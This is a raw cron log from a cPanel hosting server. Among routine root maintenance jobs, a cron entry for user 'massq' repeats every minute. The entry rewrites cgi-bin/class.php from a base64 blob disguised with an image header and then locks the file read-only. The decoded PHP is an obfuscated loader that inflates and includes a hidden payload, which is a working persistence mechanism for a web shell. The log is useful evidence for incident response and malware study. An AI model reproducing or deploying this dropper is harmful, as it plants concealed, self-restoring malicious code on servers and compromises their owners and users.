Sep  6 03:33:01 server CROND[3711]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:33:01 server CROND[3712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:34:01 server CROND[4086]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:34:01 server CROND[4087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:34:01 server CROND[4089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:35:01 server CROND[4466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:35:01 server CROND[4468]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 03:35:01 server CROND[4469]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 03:35:01 server CROND[4471]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 03:35:01 server CROND[4475]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:35:01 server CROND[4476]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 03:35:01 server CROND[4486]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:35:01 server CROND[4482]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 03:35:01 server CROND[4483]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 03:36:01 server CROND[5317]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:36:01 server CROND[5318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:36:01 server CROND[5319]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:37:01 server CROND[5678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:37:01 server CROND[5679]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:37:01 server CROND[5680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:38:01 server CROND[6065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:38:01 server CROND[6067]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:38:01 server CROND[6068]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:39:01 server CROND[6536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:39:01 server CROND[6537]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 03:39:01 server CROND[6538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:39:01 server CROND[6539]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:40:01 server CROND[6927]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 03:40:01 server CROND[6926]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 03:40:01 server CROND[6931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:40:01 server CROND[6933]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:40:01 server CROND[6935]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 03:40:01 server CROND[6932]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:40:01 server CROND[6934]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 03:40:01 server CROND[6935]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 03:40:01 server CROND[6932]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:40:01 server CROND[6934]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 03:40:01 server CROND[6936]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 03:41:01 server CROND[7886]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:41:01 server CROND[7885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:41:01 server CROND[7887]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:42:01 server CROND[8259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:42:01 server CROND[8261]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 03:42:01 server CROND[8260]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:42:01 server CROND[8264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:43:01 server CROND[8632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:43:01 server CROND[8633]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:43:01 server CROND[8634]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:44:01 server CROND[9096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
